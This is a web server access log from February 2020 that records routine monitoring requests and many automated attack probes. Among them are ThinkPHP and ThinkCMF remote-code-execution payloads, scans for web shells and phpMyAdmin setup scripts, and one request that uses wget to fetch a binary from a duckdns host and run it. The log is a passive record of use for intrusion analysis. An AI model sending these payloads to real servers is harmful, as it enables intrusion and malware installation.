5.101.0.209 - - [16/Feb/2020:14:21:14 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:14:21:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [16/Feb/2020:14:22:23 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [16/Feb/2020:14:22:23 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:14:22:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.230.123.30 - - [16/Feb/2020:14:23:00 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [16/Feb/2020:14:23:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:14:24:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:14:25:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:14:26:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.165.172.57 - - [16/Feb/2020:14:27:24 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
212.91.246.72 - - [16/Feb/2020:14:27:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:14:28:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:14:29:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [16/Feb/2020:14:30:05 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [16/Feb/2020:14:30:15 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:14:30:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [16/Feb/2020:14:31:26 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:14:31:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.91.186 - - [16/Feb/2020:14:31:53 +0100] "GET / HTTP/1.1" 200 1229 "https://uralmetallurg.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) NS8/0.9.6"
46.119.91.186 - - [16/Feb/2020:14:31:53 +0100] "GET / HTTP/1.1" 200 1229 "https://uralmetallurg.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) NS8/0.9.6"
46.119.91.186 - - [16/Feb/2020:14:31:54 +0100] "GET / HTTP/1.1" 200 1229 "https://uralmetallurg.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) NS8/0.9.6"
117.0.196.128 - - [16/Feb/2020:14:31:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
125.164.107.250 - - [16/Feb/2020:14:32:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:14:32:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.216.66.104 - - [16/Feb/2020:14:32:52 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
49.235.202.182 - - [16/Feb/2020:14:33:02 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
49.235.202.182 - - [16/Feb/2020:14:33:06 +0100] "POST /Admin59f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
49.235.202.182 - - [16/Feb/2020:14:33:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
49.235.202.182 - - [16/Feb/2020:14:33:34 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
49.235.202.182 - - [16/Feb/2020:14:33:34 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
49.235.202.182 - - [16/Feb/2020:14:33:35 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
49.235.202.182 - - [16/Feb/2020:14:33:35 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [16/Feb/2020:14:33:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.202.182 - - [16/Feb/2020:14:33:59 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
49.235.202.182 - - [16/Feb/2020:14:34:30 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [16/Feb/2020:14:34:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.202.182 - - [16/Feb/2020:14:34:54 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
49.235.202.182 - - [16/Feb/2020:14:35:22 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
49.235.202.182 - - [16/Feb/2020:14:35:46 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [16/Feb/2020:14:35:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.202.182 - - [16/Feb/2020:14:36:09 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
49.235.202.182 - - [16/Feb/2020:14:36:14 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:17 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:18 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:18 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:18 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:18 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:19 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:20 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:20 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:20 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:20 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:21 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:21 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:22 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:23 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:24 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:25 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:25 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:26 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:28 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:29 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:30 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:30 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:31 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:31 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:33 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:34 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:34 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:34 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:34 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:35 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:35 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:35 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:35 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:36 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:36 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:38 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:38 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:38 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:39 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:39 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:40 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:40 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:40 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:41 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:41 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:41 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:41 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:42 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:43 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:44 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:45 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:46 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:46 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:46 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:47 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:47 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:48 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:49 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
212.91.246.72 - - [16/Feb/2020:14:36:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.202.182 - - [16/Feb/2020:14:36:50 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:50 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:50 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:51 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:52 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:52 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:52 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:52 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:54 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:54 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:54 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:55 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:55 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:55 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:55 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:55 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:56 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:58 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:58 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:59 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:59 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:59 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:36:59 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:00 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:00 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:00 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:00 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:01 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:01 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:02 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:02 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:02 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:03 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:04 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:05 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:06 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:06 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:06 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:07 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:07 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:10 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:10 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:37:10 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
